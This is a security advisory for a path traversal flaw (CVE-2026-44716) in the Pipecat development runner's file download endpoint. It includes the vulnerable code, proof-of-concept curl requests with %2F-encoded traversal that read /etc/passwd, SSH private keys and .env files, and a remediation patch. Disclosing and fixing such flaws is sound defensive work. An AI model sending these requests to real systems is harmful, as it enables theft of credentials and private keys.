PT-2026-41390 · Pypi · Pipecat-Ai

Published

2026-05-15

·

Updated

2026-05-15

·

CVE-2026-44716

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.
Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.

Details

The vulnerable code is in src/pipecat/runner/run.py, inside the configure server app() function, lines 249–264:
@app.get("/files/{filename:path}")
async def download file(filename: str):
  """Handle file downloads."""
  if not args.folder:
    logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
    return

  file path = Path(args.folder) / filename     # ← no containment check
  if not os.path.exists(file path):
    raise HTTPException(404)

  media type,  = mimetypes.guess type(file path)

  return FileResponse(path=file path, media type=media type, filename=filename)
Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is relative to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the URL path before the route handler runs, but it decodes percent-encoded characters inside the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.
For example:
GET /files/..%2F..%2Fetc%2Fpasswd
          ↓
filename = "../../etc/passwd"     (after Starlette decodes %2F)
file path = Path("/tmp/media") / "../../etc/passwd"
     = Path("/tmp/media/../../etc/passwd")
     → resolves to /etc/passwd  (os.path.exists returns True)
The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.

Proof of Concept

Step 1 — Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:
# minimal bot.py
async def bot(runner args):
  import asyncio
  await asyncio.sleep(86400)

if  name  == " main ":
  from pipecat.runner.run import main
  main()
Start the runner:
pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot media
echo "session transcript" > /tmp/bot media/recording.txt

python minimal bot.py 
  -t webrtc 
  --host 127.0.0.1 
  --port 7860 
  --folder /tmp/bot media
Expected output: image

Step 2 — Exploit

# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
#  root:*:0:0:System Administrator:/var/root:/bin/sh
#  ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#  b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

RequestHTTP statusContent
GET /files/recording.txt200Legitimate file
GET /files/../../etc/passwd404Blocked — literal .. normalised away
GET /files/..%2F..%2Fetc%2Fpasswd200Full /etc/passwd
GET /files/..%2F..%2F..%2Fhome/…/.ssh/id rsa200RSA private key (BEGIN OPENSSH PRIVATE KEY)
image image image

Impact

The --folder flag is a documented, first-class feature of the runner: the runner downloads folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.
An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:
  • SSH private keys and TLS certificates
  • .env files and application credentials
  • Database files, session tokens, API keys
  • System files such as /etc/passwd and /etc/shadow (on Linux)
  • Source code, config files, and secrets in parent directories of --folder

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is relative to:
@app.get("/files/{filename:path}")
async def download file(filename: str):
  if not args.folder:
    logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
    return

  allowed base = Path(args.folder).resolve()
  file path = (allowed base / filename).resolve()  # resolve AFTER join

  if not file path.is relative to(allowed base):  # containment check
    raise HTTPException(status code=403, detail="Access denied")
  if not file path.exists():
    raise HTTPException(status code=404)

  media type,  = mimetypes.guess type(file path)
  return FileResponse(path=file path, media type=media type, filename=file path.name)
Path.resolve() expands all .. components and follows symlinks before is relative to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

Fix

Path traversal

Weakness Enumeration

Related Identifiers

CVE-2026-44716
GHSA-3363-2PH6-35WH

Affected Products

Pipecat-Ai